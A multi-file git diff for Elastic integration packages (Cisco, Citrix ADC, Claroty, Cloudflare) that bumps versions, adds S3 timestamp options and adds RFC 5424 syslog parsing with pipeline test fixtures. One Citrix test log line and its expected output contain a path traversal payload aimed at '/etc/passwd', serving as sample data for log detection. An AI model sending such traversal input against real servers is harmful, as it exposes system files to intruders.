"error": { + "code": has(body.code) ? string(body.code) : string(resp.StatusCode), + "id": string(resp.Status), + "message": "GET:"+( + size(resp.Body) != 0 ? + string(resp.Body) + : + string(resp.Status) + ' (' + string(resp.StatusCode) + ')' + ), + }, + }, + "want_more": false, + } + ) ) ) )) diff --git a/packages/cisco_duo/data_stream/auth/manifest.yml b/packages/cisco_duo/data_stream/auth/manifest.yml index c485aabd7e0..129447107a0 100644 --- a/packages/cisco_duo/data_stream/auth/manifest.yml +++ b/packages/cisco_duo/data_stream/auth/manifest.yml @@ -56,6 +56,14 @@ streams: type: bool multi: false default: false + - name: ignore_api_errors + required: true + show_user: true + title: Ignore Ingesting API Errors. + description: Events containing API errors are ignored and thus not ingested. Currently, only `429 Too Many Requests` API error is ignored when this flag is enabled. By default all errors from API are ingested. + type: bool + multi: false + default: false - name: processors type: yaml title: Processors diff --git a/packages/cisco_duo/manifest.yml b/packages/cisco_duo/manifest.yml index e9c4ad95793..ce40155d728 100644 --- a/packages/cisco_duo/manifest.yml +++ b/packages/cisco_duo/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: cisco_duo title: Cisco Duo -version: "2.3.2" +version: "2.4.0" description: Collect logs from Cisco Duo with Elastic Agent. type: integration categories: diff --git a/packages/cisco_meraki/changelog.yml b/packages/cisco_meraki/changelog.yml index 7a3e41789c3..d8c377098c4 100644 --- a/packages/cisco_meraki/changelog.yml +++ b/packages/cisco_meraki/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.27.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/cisco_meraki/manifest.yml b/packages/cisco_meraki/manifest.yml index 9fbd5301177..5f0489c38e6 100644 --- a/packages/cisco_meraki/manifest.yml +++ b/packages/cisco_meraki/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: cisco_meraki title: Cisco Meraki -version: "1.27.1" +version: "1.28.0" description: Collect logs from Cisco Meraki with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/cisco-meraki-dashboard-1.png title: Cisco Meraki Dashboard diff --git a/packages/cisco_secure_endpoint/changelog.yml b/packages/cisco_secure_endpoint/changelog.yml index 126f7de0278..a9e117b4afa 100644 --- a/packages/cisco_secure_endpoint/changelog.yml +++ b/packages/cisco_secure_endpoint/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.29.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.28.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/cisco_secure_endpoint/manifest.yml b/packages/cisco_secure_endpoint/manifest.yml index 806e8be1438..70a9d46ed64 100644 --- a/packages/cisco_secure_endpoint/manifest.yml +++ b/packages/cisco_secure_endpoint/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: cisco_secure_endpoint title: Cisco Secure Endpoint -version: "2.28.1" +version: "2.29.0" description: Collect logs from Cisco Secure Endpoint (AMP) with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - edr_xdr conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/cisco.svg title: cisco diff --git a/packages/cisco_umbrella/changelog.yml b/packages/cisco_umbrella/changelog.yml index 0f0ee77a0ac..c0b63a5ddc3 100644 --- a/packages/cisco_umbrella/changelog.yml +++ b/packages/cisco_umbrella/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.30.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.29.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.28.0" changes: - description: Add support for Access Point ARN when collecting logs via the AWS S3 Bucket. diff --git a/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs b/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs index 0fb264cec64..5d07095597d 100644 --- a/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs +++ b/packages/cisco_umbrella/data_stream/log/agent/stream/aws-s3.yml.hbs @@ -9,6 +9,12 @@ access_point_arn: {{access_point_arn}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}}/ {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{#if file_selectors}} file_selectors: {{file_selectors}} diff --git a/packages/cisco_umbrella/data_stream/log/manifest.yml b/packages/cisco_umbrella/data_stream/log/manifest.yml index 6a6bfedc560..a4ea20c52ac 100644 --- a/packages/cisco_umbrella/data_stream/log/manifest.yml +++ b/packages/cisco_umbrella/data_stream/log/manifest.yml @@ -52,6 +52,20 @@ streams: show_user: true default: 1 description: Required for Cisco Managed S3. Number of workers that will process the S3 objects listed. Minimum is 1. + - name: start_timestamp + type: text + title: "Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: bucket_list_interval type: text title: Bucket List Interval diff --git a/packages/cisco_umbrella/manifest.yml b/packages/cisco_umbrella/manifest.yml index bb6e25a7b37..0da23f19824 100644 --- a/packages/cisco_umbrella/manifest.yml +++ b/packages/cisco_umbrella/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: cisco_umbrella title: Cisco Umbrella -version: "1.28.0" +version: "1.30.0" description: Collect logs from Cisco Umbrella with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - dns_security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" icons: - src: /img/cisco.svg title: cisco diff --git a/packages/citrix_adc/_dev/build/docs/README.md b/packages/citrix_adc/_dev/build/docs/README.md index be5a6b6be23..b7238e0ffa0 100644 --- a/packages/citrix_adc/_dev/build/docs/README.md +++ b/packages/citrix_adc/_dev/build/docs/README.md @@ -79,6 +79,8 @@ For step-by-step instructions on how to set up an integration, see the [Getting The Citrix WAF GUI can be used to configure syslog servers and WAF message types to be sent to the syslog servers. Refer to [How to Send Application Firewall Messages to a Separate Syslog Server](https://support.citrix.com/s/article/CTX138973-how-to-send-application-firewall-messages-to-a-separate-syslog-server) and [How to Send NetScaler Application Firewall Logs to Syslog Server and NS.log](https://support.citrix.com/s/article/CTX483235-send-logs-to-external-syslog-server?language=en_US) for details. +**Note:** It is recommended to use RFC 5424 compliant syslog messages, if supported by NetScaler. Support for RFC 5424 was added in NetScaler 14.1. Refer to [Configuring audit log action](https://docs.netscaler.com/en-us/citrix-adc/current-release/system/audit-logging/configuring-audit-logging.html#configuring-audit-log-action). + ## Validation After the integration is successfully configured, clicking on the Assets tab of the Citrix ADC Integration should display a list of available dashboards. Click on the dashboard available for your configured datastream. It should be populated with the required data. @@ -184,4 +186,4 @@ The `citrix_adc.log` dataset provides events from the configured syslog server. Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. -{{fields "log"}} \ No newline at end of file +{{fields "log"}} diff --git a/packages/citrix_adc/changelog.yml b/packages/citrix_adc/changelog.yml index bfca9211c03..a44c1b283e7 100644 --- a/packages/citrix_adc/changelog.yml +++ b/packages/citrix_adc/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.15.0" + changes: + - description: "Add support for parsing RFC5424 syslog messages" + type: enhancement + link: https://github.com/elastic/integrations/pull/12608 - version: "1.14.0" changes: - description: "Update grok lines for discrepancies seen in the wild, and remove newlines to fix sporadic weird errors" diff --git a/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json new file mode 100644 index 00000000000..5fdd43eaf07 --- /dev/null +++ b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json @@ -0,0 +1,32 @@ +{ + "events": [ + { + "@timestamp": "2025-01-12T21:06:37Z", + "message": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"" + }, + { + "@timestamp": "2025-01-30T12:00:00Z", + "message": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K" + }, + { + "@timestamp": "2025-01-08T13:30:00Z" , + "message": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var " + }, + { + "@timestamp": "2025-01-10T02:10:52Z", + "message": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6" + }, + { + "@timestamp": "2025-01-09T14:38:06Z", + "message": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth" + }, + { + "@timestamp": "2025-01-09T13:17:03Z", + "message": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" " + }, + { + "@timestamp": "2025-01-30T10:41:20Z", + "message": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"" + } + ] +} diff --git a/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json new file mode 100644 index 00000000000..0866aa704bf --- /dev/null +++ b/packages/citrix_adc/data_stream/log/_dev/test/pipeline/test-citrix-rfc5424.json-expected.json @@ -0,0 +1,269 @@ +{ + "expected": [ + { + "@timestamp": "2025-01-12T21:06:37Z", + "citrix": { + "cef_format": false, + "detail": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"", + "device_event_class_id": "default", + "extended": { + "message": "ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"" + }, + "host": "MY-CITRIX-HOST", + "name": "Message" + }, + "citrix_adc": { + "log": { + "message": "ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"", + "timestamp": "2025-01-12T21:06:37.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "id": "4357642", + "kind": "event", + "original": "<131>1 2025-01-12T21:06:37Z MY-CITRIX-HOST ICA 0-PPE-0 - - default Message 4357642 0 : \"ns_vpn_csg.c:17988 [TECHSUPPORT][LAUNCH][Remote ip = 175.16.199.1:46516] Message = Failed to parse CGP bind request from client\"", + "severity": 0, + "timezone": "UTC", + "type": [ + "info" + ] + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-30T12:00:00Z", + "citrix": { + "cef_format": false, + "detail": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K", + "extended": { + "message": "logfile turned over due to size>100K" + }, + "host": "MY-CITRIX-HOST" + }, + "citrix_adc": { + "log": { + "message": "logfile turned over due to size>100K", + "timestamp": "2025-01-30T12:00:00.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "event", + "original": "<173>1 2025-01-30T12:00:00Z MY-CITRIX-HOST newsyslog 79382 - - logfile turned over due to size>100K", + "timezone": "UTC" + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-08T13:30:00Z", + "citrix": { + "cef_format": false, + "detail": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ", + "extended": { + "message": "[client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var " + }, + "host": "MY-CITRIX-HOST" + }, + "citrix_adc": { + "log": { + "message": "[client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ", + "timestamp": "2025-01-08T13:30:00.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "event", + "original": "<171>1 2025-01-08T13:30:00Z MY-CITRIX-HOST httpd::authz_core 38137 - - [client 175.16.199.1:36664] AH01630: client denied by server configuration: /netscaler/ns_gui/var ", + "timezone": "UTC" + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-10T02:10:52Z", + "citrix": { + "cef_format": false, + "detail": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6", + "extended": { + "message": "(0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6" + }, + "host": "MY-CITRIX-HOST" + }, + "citrix_adc": { + "log": { + "message": "(0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6", + "timestamp": "2025-01-10T02:10:52.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "event", + "original": "<139>1 2025-01-10T02:10:52Z MY-CITRIX-HOST [993] - - - (0-0) extract_ldap_attribute While retrieving ldap attributes mail attribute not found for x5wsp6", + "timezone": "UTC" + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-09T14:38:06Z", + "citrix": { + "cef_format": false, + "detail": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth", + "extended": { + "message": "(0-0) start_ldap_auth Starting LDAP auth" + }, + "host": "MY-CITRIX-HOST" + }, + "citrix_adc": { + "log": { + "message": "(0-0) start_ldap_auth Starting LDAP auth", + "timestamp": "2025-01-09T14:38:06.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "event", + "original": "<142>1 2025-01-09T14:38:06Z MY-CITRIX-HOST [993] - - - (0-0) start_ldap_auth Starting LDAP auth", + "timezone": "UTC" + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-09T13:17:03Z", + "citrix": { + "cef_format": false, + "detail": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ", + "extended": { + "message": "175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" " + }, + "host": "MY-CITRIX-HOST" + }, + "citrix_adc": { + "log": { + "message": "175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ", + "timestamp": "2025-01-09T13:17:03.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "kind": "event", + "original": "<173>1 2025-01-09T13:17:03Z MY-CITRIX-HOST httpd 22442 - - 175.16.199.1 \"HEAD /logon/LogonPoint/tmindex.html HTTP/1.1\" 200 - \"-\" \"axios/1.7.7\" \"Time: 343 microsecs\" ", + "timezone": "UTC" + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + }, + { + "@timestamp": "2025-01-30T10:41:20Z", + "citrix": { + "cef_format": false, + "detail": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"", + "device_event_class_id": "default", + "extended": { + "message": "Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"" + }, + "host": "MY-CITRIX-HOST", + "name": "Message" + }, + "citrix_adc": { + "log": { + "message": "Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"", + "timestamp": "2025-01-30T10:41:20.000Z" + } + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "id": "11027731", + "kind": "event", + "original": "<132>1 2025-01-30T10:41:20Z MY-CITRIX-HOST SSLVPN 0-PPE-0 - - default Message 11027731 0 : \"Path traversal detected |/?../../../../../../../etc/passwd|, [Source: 175.16.199.1:57123]\"", + "severity": 0, + "timezone": "UTC", + "type": [ + "info" + ] + }, + "observer": { + "hostname": "MY-CITRIX-HOST", + "product": "Netscaler", + "type": "firewall", + "vendor": "Citrix" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ] + } + ] +} diff --git a/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml b/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml index 7bb3d016680..76e48aa4f4d 100644 --- a/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml +++ b/packages/citrix_adc/data_stream/log/elasticsearch/ingest_pipeline/native.yml @@ -13,10 +13,12 @@ processors: - '^%{SPACE}%{HEADER_NOTIMEZONE} : %{DATA:_tmp.details} : +"%{GREEDYDATA:citrix.extended.message}"' - '^%{SPACE}%{HEADER} : %{DATA:_tmp.details} : +"%{GREEDYDATA:citrix.extended.message}"' - '^%{SPACE}%{HEADER} : %{DATA:_tmp.details} : +%{GREEDYDATA:citrix.extended.message}' + - '^<%{NUMBER}>%{NUMBER} (%{TIMESTAMP_ISO8601:_tmp.timestamp}|-) (%{SYSLOGHOST:citrix.host}|-) (%{DATA:_tmp.appname}|-) (%{DATA:_tmp.procid}|-) (%{DATA:_tmp.msgid}|-) (%{DATA:_tmp.structured_data}|-) (%{DATA:_tmp.details} :)?%{SPACE}"?%{GREEDYDATA:citrix.extended.message}"?$' + pattern_definitions: HEADER_NOTIMEZONE: '(?:<%{NUMBER}>%{SPACE})?%{NATIVE_TIMESTAMP:_tmp.timestamp_native} (?:%{SYSLOGHOST:citrix.host} )?%{INT}-PPE-%{INT}' HEADER: '(?:<%{NUMBER}>%{SPACE})?%{NATIVE_TIMESTAMP:_tmp.timestamp_native} %{WORD:event.timezone}? (?:%{SYSLOGHOST:citrix.host} )?%{INT}-PPE-%{INT}' - NATIVE_TIMESTAMP: '(?:%{MONTHNUM}/%{MONTHDAY}/%{YEAR}|%{YEAR}/%{MONTHNUM}/%{MONTHDAY}|%{MONTHDAY}/%{MONTHNUM}/%{YEAR}):%{HOUR}:%{MINUTE}:%{SECOND}' + NATIVE_TIMESTAMP: '(?:%{MONTHNUM}/%{MONTHDAY}/%{YEAR}|%{YEAR}/%{MONTHNUM}/%{MONTHDAY}|%{MONTHDAY}/%{MONTHNUM}/%{YEAR}):%{HOUR}:%{MINUTE}:%{SECOND}' - grok: description: Parse out details. tag: grok_tmp_details @@ -25,6 +27,7 @@ processors: - '^%{DEFAULT:_tmp.default}?%{WORD:citrix.device_event_class_id} %{GREEDYDATA:citrix.name} %{INT:event.id} %{INT:event.severity}$' pattern_definitions: DEFAULT: 'default ' + ignore_missing: true - set: field: event.category tag: set_event_category_network diff --git a/packages/citrix_adc/docs/README.md b/packages/citrix_adc/docs/README.md index fcc04177c0d..80a71ae5b6e 100644 --- a/packages/citrix_adc/docs/README.md +++ b/packages/citrix_adc/docs/README.md @@ -79,6 +79,8 @@ For step-by-step instructions on how to set up an integration, see the [Getting The Citrix WAF GUI can be used to configure syslog servers and WAF message types to be sent to the syslog servers. Refer to [How to Send Application Firewall Messages to a Separate Syslog Server](https://support.citrix.com/s/article/CTX138973-how-to-send-application-firewall-messages-to-a-separate-syslog-server) and [How to Send NetScaler Application Firewall Logs to Syslog Server and NS.log](https://support.citrix.com/s/article/CTX483235-send-logs-to-external-syslog-server?language=en_US) for details. +**Note:** It is recommended to use RFC 5424 compliant syslog messages, if supported by NetScaler. Support for RFC 5424 was added in NetScaler 14.1. Refer to [Configuring audit log action](https://docs.netscaler.com/en-us/citrix-adc/current-release/system/audit-logging/configuring-audit-logging.html#configuring-audit-log-action). + ## Validation After the integration is successfully configured, clicking on the Assets tab of the Citrix ADC Integration should display a list of available dashboards. Click on the dashboard available for your configured datastream. It should be populated with the required data. @@ -1471,3 +1473,4 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur | input.type | Input type. | keyword | | log.offset | Offset of the entry in the log file. | long | | log.source.address | Source address from which the log event was read / sent from. | keyword | + diff --git a/packages/citrix_adc/manifest.yml b/packages/citrix_adc/manifest.yml index 6408b177515..71d39662e12 100644 --- a/packages/citrix_adc/manifest.yml +++ b/packages/citrix_adc/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: citrix_adc title: Citrix ADC -version: "1.14.0" +version: "1.15.0" description: This Elastic integration collects logs and metrics from Citrix ADC product. type: integration categories: diff --git a/packages/claroty_ctd/changelog.yml b/packages/claroty_ctd/changelog.yml index 903520250c5..22cd0b31831 100644 --- a/packages/claroty_ctd/changelog.yml +++ b/packages/claroty_ctd/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.4.3" changes: - description: Add missing ECS mappings. diff --git a/packages/claroty_ctd/manifest.yml b/packages/claroty_ctd/manifest.yml index 437d63f9493..b578b9dec81 100644 --- a/packages/claroty_ctd/manifest.yml +++ b/packages/claroty_ctd/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.1.4 name: claroty_ctd title: Claroty CTD -version: 0.4.3 +version: "0.5.0" description: Collect logs from Claroty CTD using Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic icons: diff --git a/packages/cloudflare/changelog.yml b/packages/cloudflare/changelog.yml index 1004c1f631b..7e5e76dafb9 100644 --- a/packages/cloudflare/changelog.yml +++ b/packages/cloudflare/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.30.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.29.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/cloudflare/manifest.yml b/packages/cloudflare/manifest.yml index 4a5b876ee10..db119c07966 100644 --- a/packages/cloudflare/manifest.yml +++ b/packages/cloudflare/manifest.yml @@ -1,13 +1,13 @@ name: cloudflare title: Cloudflare -version: "2.29.1" +version: "2.30.0" description: Collect logs from Cloudflare with Elastic Agent. type: integration format_version: "3.0.2" categories: [security, network, cdn_security] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/cf-logo-v.svg title: Cloudflare diff --git a/packages/cloudflare_logpush/changelog.yml b/packages/cloudflare_logpush/changelog.yml index 171617b688e..e523c599c84 100644 --- a/packages/cloudflare_logpush/changelog.yml +++ b/packages/cloudflare_logpush/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.35.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 - version: "1.34.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs index 2b8cc3bb855..3ca35f8fa4a 100644 --- a/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/access_request/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_access_request}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/access_request/manifest.yml b/packages/cloudflare_logpush/data_stream/access_request/manifest.yml index ef4e0653c87..e613d920f66 100644 --- a/packages/cloudflare_logpush/data_stream/access_request/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/access_request/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs index d2668306d95..5fd41e4ba44 100644 --- a/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/audit/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_audit}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/audit/manifest.yml b/packages/cloudflare_logpush/data_stream/audit/manifest.yml index 77660a70ea5..79ecf77cffc 100644 --- a/packages/cloudflare_logpush/data_stream/audit/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/audit/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs index 282e1e4bdb2..87179ead237 100644 --- a/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/casb/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} 